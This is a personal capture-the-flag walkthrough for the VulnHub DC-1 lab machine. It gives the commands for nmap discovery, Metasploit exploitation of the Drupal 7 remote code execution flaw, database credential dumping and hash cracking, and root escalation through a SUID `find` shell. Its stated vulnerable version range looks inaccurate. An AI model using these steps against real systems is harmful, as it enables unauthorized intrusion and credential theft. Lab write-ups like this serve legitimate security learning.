Vuln hub DC-1 Machine Documentation

Abstract: There were 5 flags to capture with beginner difficulty using various tools like nmap, Metasploit, password cracking tools and more. Also built fundamental concepts and commands on Linux shell.

FLAG-1: DRUPAL

After installing the virtual machine, u need to set the network configuration so that kali llinux or parrot machine could access the DC-1 machine. Long story short, both machines should be on the same subnet. I did it by changing the configuration to bridged adapter.

Once u start the DC machine, It will ask u for login and password, nothing else.

Step 1: extract the ip address using nmap or netdiscover. I used nmap:

`nmap -sn 192.168.72.0/24` -----(255.255.255.0)

Step 2: scan the ip for OS version, port scanning, service versions using -A flag (aggressive scanning)

`nmap -A 192.168.72.189`

Step 3 : I found out that 3 ports were open; 22 (ssh), 80 (http apache server with drupal 7 generator), 111 (rpcbind).

Step 4: Since 80 was running so use the ip and browse it using firefox or anything, a portal will open asking username and password. Now we need admin password. This is drupal Content management system version 7.

Step 5: There is a remote code execution vulnerability with drupal 7.5 or below version in CVE 2018-7600.

Step 6: To exploit that, we use Metasploit.

`msfconsole`

`search drupal`

`use (number)` eg -> `use 2`

`set rhosts 192.168.72.189`

`run`

U will get remote access to the shell of the machine

Step 7 : type `shell` then `ls` u get flag1.txt with next clue

FLAG 2: Configuration

The clue told to find the configuration file in the file system. So got settings.php. It had database credentials like uname and password.

Step 8 : use mysql command to have access to the database

Before that execute ***`python -c ‘import pty; pty.spawn(“/bin/bash”)’`***

this will open fully functional shell session

`mysql -u dbuser -p` (enter password)

`use drupaldb`

`show tables`

`select * from users`

Crack the hash value which is in drupal 7 code using hashcat or john the ripper.

Login using uname and password u get the next flag

FLAG 3: LESS PRIVILAGE

```
find / -iname '*flag4*' 2>/dev/null
```

This will find the directory or file with name flag4 starting from / (root). Iname is for case insensitive finding. Also suppress error message.

FLAG 4: MORE PRIVILAGE

What if the file or folder is only accessible for root users only. How can we as a normal user access it. For that we have something called SUID (set user ID). It is a special permission that lets a file to run with the permission of file’s owner, not the user running it. But only if the owner has SUID bit set.

To find which file has SUID bit set:

```
find / -perm -4000 -type f -exec ls -l {} \; 2>/dev/null
```

or

```
find / -perm -u=s -type f 2>/dev/null
```

So from this, I have found out that ‘find’ command has SUID bit set. Ie. U can execute command with owner permission.

```
find . -exec /bin/sh \; -quit
```

This will open shell with escalated permission everytime it finds a file from the current directory(.)

In the shell type `id` command. If u see 0(root) In UID then congrats

That’s it. Now u can find the flag5 in the root directory.

KEY COMMANDS AND TERMS:

1. rpc (remote procedure call): this is a network protocol which allows a program on one machine to execute a function or procedure on another machine remotely. It works like request and response b/w machines.

2. Rpcbind: this is a network service that maps the rpc service with the port linked with it. It manages the rpc services. Default port:111.
   eg:
   You arrive at a building (the server), and ask, "Where's the NFS department?"
   The receptionist (rpcbind) replies, "They're at office port 2049!"

3. Drupalgeddon: refers to **critical remote code execution (RCE) vulnerabilities in Drupal**, a popular PHP-based CMS.

4. SUID (set user ID) is a special file permission that lets a file run with the permissions of files owner not the user running it. commands like passwd needs this so **normal users can change their own passwords**, which modifies /etc/shadow (root-only).